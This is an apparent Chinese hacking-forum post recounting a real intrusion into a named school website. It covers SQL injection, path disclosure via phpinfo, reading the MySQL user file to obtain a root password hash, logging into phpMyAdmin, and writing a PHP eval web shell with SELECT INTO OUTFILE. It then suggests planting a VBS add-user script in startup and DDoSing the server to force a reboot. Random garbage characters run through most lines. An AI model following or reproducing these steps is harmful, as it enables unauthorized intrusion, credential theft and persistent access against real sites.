第一眼看去，好像全是html静态的，都知道静态的根本不好日，多点击几个专栏
5 ~9 l; Y8 `. u3 m发现这个：http://www.dyyz.net.cn/celebrate/list.php?id=3 -0 -1 判断后确认存在注入！$ U0 i" P! e, D E" Y
" f) ?- W& |7 d u& _1 h" |
/ ~# Z; r$ ~% j3 }4 _
0 }( @9 B( _. Q) C常规手工不行，尝试突破也不行，利用穿山甲 可以注入：root权限 ' ?) a: O1 L! t
0 ~. X) z) q& C/ v% {6 |那么想可以直接写入shell ，getshell有几个条件：
- |; G# v( ^" R M1、知道站点物理路径 2、有足够大的权限 3、magic_quotes_gpc()=OFF 5 |6 X& V8 G: B
7 @# n5 R k: U8 D. G试着爆绝对路径： 4 f% |3 f( V; n) ]1 r
1./phpMyAdmin/index.php?lang[]=1 - W/ U `. @2 k, f
2./phpMyAdmin/phpinfo.php + r6 M. ^% }1 q0 X0 w; n x! P
3./load_file()
, u/ g6 i ~5 Q y% l4 [3 _( ]4./phpmyadmin/themes/darkblue_orange/layout.inc.php & q# a* R* b& ^& s4 G; l$ @ r! @
5./phpmyadmin/libraries/select_lang.lib.php
1 g+ C8 O/ }$ D4 o6./phpmyadmin/libraries/lect_lang.lib.php 2 M5 w2 ^1 v* q/ q* ?
7./phpmyadmin/libraries/mcrypt.lib.php ; |! j. t L G5 p! u6 U4 \. c
8./phpmyadmin/libraries/export/xls.php
; ]: N W8 o# O# S; ~7 u. j% G( D# l( g5 p8 F, V" p+ j
均不行...........................
0 t/ x S( J8 d x2 m) K. I- ^' n n0 q! ^/ L3 M2 x" z. G7 m5 _( q
御剑扫到这个： http://www.dyyz.net.cn//phpinfo.php 获得网站路径：D:/www/phpinfo.php 5 e0 y" \2 N4 o6 G
3 M8 c5 h5 ~/ t4 E/ z权限为root，知道网站路径，可是条件3不符合，没法写入shell ，不过服务器存在phpmyadmin . f. f- Z2 a* R- ]: G2 t) D
4 t5 z1 |( Q6 @ Y- r
默认不行，尝试万能密码：帐号 'localhost'@'@" 密码空 ，登录失败 $ w) a& p5 B! `9 F+ f
' s- y2 _# m; e- S
敏感东西： http://202.103.49.66/Admincp.php 社工进不去........... 0 f7 Q0 R2 r: o* _, m6 A6 D
$ T3 v6 E, J1 H, r2 E, r! X* _) y想想root还可以读，读到root密码进phpmyadmin 也可以拿shell + d8 k4 K t. r/ m G0 t' B
9 j# k% i. X( ~! \" L( uhttp://www.dyyz.net.cn//phpinfo.php 泄露了D:\phpStudy\PHP5\php.ini ' [1 d* S6 @$ o
B1 M- [1 f6 {3 G
自己修改好读root密码的路径：D:\phpStudy\MySQL\Data\mysql\user.MYD
0 u% K1 O3 R. |+ m7 [' T N; B' Y' c" X4 l% P9 @- _
成功读到root密码：
. H( O3 s- g/ r, z- e Q. M8 [ Y0 u+ I4 ]9 y" ^
17---- r(0072) ; n0 e1 U- p3 v/ _
18---- o(006f)
" e8 N+ U& t# q" k" g19---- o(006f)
9 o, n1 t( _- F' Q, D; Z3 \& C20---- t(0074)
4 w+ @( A A3 }* b3 Z7 B; r21---- *(002a) , I+ x9 O; R2 }+ B
22---- 8(0038) 3 c3 I" ]5 x: E1 i* J- z2 l. O
23---- 2(0032)
7 O8 Q. W$ }) O6 G0 s24---- E(0045) " ^) Y5 v% z# e/ S5 M# j. `
25---- 1(0031)
- Y! t3 O3 e) B( P' `26---- C(0043)
# d( v1 p2 U+ b/ j; b0 m27---- 5(0035) . |1 T4 O, T- Q. z* r- a
28---- 8(0038)
$ z& `( Y* V) A* W29---- 2(0032) u$ x# B$ ^! `* E0 d# z. [5 a
30---- 8(0038) $ O9 u! T9 L7 h
31---- A(0041) 6 h+ C: M; @. I/ q% w6 i6 O
32---- 9(0039)
+ |8 L2 W( W8 f( j8 v33---- B(0042)
2 y- b2 m$ Y+ ^0 }9 i. R34---- 5(0035)
" ]2 W. r+ L- T8 x1 z35---- 4(0034)
0 ?0 C* e# V7 e8 x% c- ], A; D2 s36---- 8(0038)
8 i: M& o0 F/ H1 b4 D! }2 p4 P37---- 6(0036) 4 W, U! Y l& x8 ]) f& d
38---- 4(0034) 6 K7 {4 z; z0 `5 G
39---- 9(0039) y. q2 q& u+ m# X( d: W$ W8 Q$ Y
40---- 1(0031)
+ M1 B( a: Q6 R( N8 t+ D41---- 1(0031) ; s2 k1 G% H9 s
42---- 5(0035)
9 H' E5 u* W8 G* r43---- 3(0033) ) M k) T* |, l+ S& Y+ I# H
44---- 5(0035)
8 P4 x# [" `7 k5 l45---- 9(0039)
7 e/ h% w6 ^! E1 _' s46---- 8(0038) 4 Q0 z) s% Y8 _7 [2 g4 @! h! g
47---- F(0046) 1 G& l; g# n3 O p8 l/ R) E
48---- F(0046)
, K6 E5 t7 D, c( J& s: _% A49---- 4(0034) & ^) X k( ]4 Q+ m; j9 N9 P# c
50---- F(0046) `/ O& h1 ~1 H3 `7 k
51---- 0(0030) ( `/ Q% ? n( q3 i0 F5 U6 N
52---- 3(0033)
: f, u. v2 g. L+ d4 r53---- 2(0032)
/ O+ \! Y2 i4 w% s54---- A(0041)
! i# r( W# q# u" S4 `$ H3 [0 Z9 t+ O55---- 4(0034) 0 O& G2 P; w5 q6 Z* y
56---- A(0041) 6 X9 t; e6 }: s- q l! a8 x
57---- B(0042) & e) j+ b# _- w$ k9 k W! Q
58---- *(0044)
) c" s$ } X7 h+ R4 n0 ?59---- *(0035)
# |& @2 a$ F- V8 a60---- *(0041)
0 O6 J- k, b/ a7 W8 d61---- *0032) 5 M' } P" ]0 E2 v4 ~
" N0 L: Y8 m; V4 S2 x
解密后成功登陆phpmyamin
/ T' f9 F' C$ S; q; f
" m- ?1 U: W, a4 E; X& M- u
5 U! S! c& J3 l% I$ F- I
' v6 s' i: f4 {9 d) M# F# F/ ~* d z4 |
找到mysql数据库，执行sql语句：elect '<?php @eval($_POST[pass]);?>'INTO OUTFILE 'd:/wamp/www/daxia.php' 0 p4 P4 Q" a H+ a; P0 Y( ^
7 K4 S Z! i H9 n% R成功执行，拿下shell，菜刀连接： 3 W6 [% R7 y* v, ^+ G
8 ]8 m4 n$ N4 g( a7 n G/ ~服务器不支持asp,aspx,php提权无果...................
/ G' M% D) I' @- [$ @2 S- W: `4 M4 N3 Q& W9 E- \& N! h
但服务器权限很松，上传个远控小马或是一个添加用户的vbs程序到启动里： 2 {) ]; r. M8 R- i. U1 M5 }) H
服务器上已经有个隐藏帐号了 + s3 t" M3 \+ ?5 d. I
别名 administrators
6 A1 W; S! K+ }+ T3 A1 u注释 管理员对计算机/域有不受限制的完全访问权
& ~+ |+ \; Z% r成员
, [2 y; H& C; ]/ v3 y3 c-------------------------------------------------------------------------------
3 f( A; c* M6 a& b# B" l; madmin+ E4 t# N( f3 Q* }$ d& {9 Y. m
Administrator7 L/ H4 a! X' ~+ A" f" j
slipper$
, V" q0 o& x# p4 V/ Osqluser
# K2 n, [5 c: l3 U: L命令成功完成。 $ R# {4 d' L# ?
) M: M6 \( q ?6 f6 q9 F( R
服务器权限很松，上传个vbs添加用户的到启动，不要用bat，会开机的时候显示运行批处理的。% H1 f3 N0 c' T1 I: d% ^
# E9 I$ |+ A4 ~% F8 Z. ?ddos服务器重启，不然就只能坐等服务器重启了...............................6 q$ z6 ^/ y# _
/ o3 S/ \ p7 W8 v5 l
( s/ y' D1 R+ A1 v& t# U
| 
发表于 2013-1-11 21:32:15
收藏
支持
反对
发表于 2013-5-20 15:28:12
